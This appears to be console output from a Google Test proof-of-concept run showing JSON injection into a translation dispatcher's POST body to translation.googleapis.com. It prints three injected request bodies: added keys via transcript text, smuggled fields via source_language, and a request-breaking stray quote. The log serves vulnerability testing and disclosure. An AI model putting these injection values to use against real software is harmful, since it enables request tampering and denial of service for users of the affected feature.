[.] Sanitizer coverage enabled. Counter map size: 11916999, Cmp map size: 262144 Note: Google Test filter = GoogleApiTranslationDispatcherTest.POC_* [==========] Running 3 tests from 1 test suite. [----------] Global test environment set-up. [----------] 3 tests from GoogleApiTranslationDispatcherTest [ RUN ] GoogleApiTranslationDispatcherTest.POC_JsonInjection_ViaTranscriptText [POC] Browser-process POST body sent to translation.googleapis.com: [POC] {"q":"hi","model":"nmt","target":"ru","injected":"yes","source":"es","target":"en","format":"text"} [POC] Injection confirmed: top-level keys "injected"=yes, "model"=nmt were added by remote-peer-controlled transcript text; "q" was truncated to "hi". [ OK ] GoogleApiTranslationDispatcherTest.POC_JsonInjection_ViaTranscriptText (4 ms) [ RUN ] GoogleApiTranslationDispatcherTest.POC_JsonInjection_ViaSourceLanguage [POC] Body with attacker-controlled source_language: [POC] {"q":"hello","source":"es@k=","injected":"src","target":"en","format":"text"} [ OK ] GoogleApiTranslationDispatcherTest.POC_JsonInjection_ViaSourceLanguage (2 ms) [ RUN ] GoogleApiTranslationDispatcherTest.POC_JsonInjection_BreakRequest [POC] Body with a single stray quote (DoS variant): [POC] {"q":"she said "stop"","source":"es","target":"en","format":"text"} [ OK ] GoogleApiTranslationDispatcherTest.POC_JsonInjection_BreakRequest (6 ms) [----------] 3 tests from GoogleApiTranslationDispatcherTest (105 ms total) [----------] Global test environment tear-down [==========] 3 tests from 1 test suite ran. (107 ms total) [ PASSED ] 3 tests.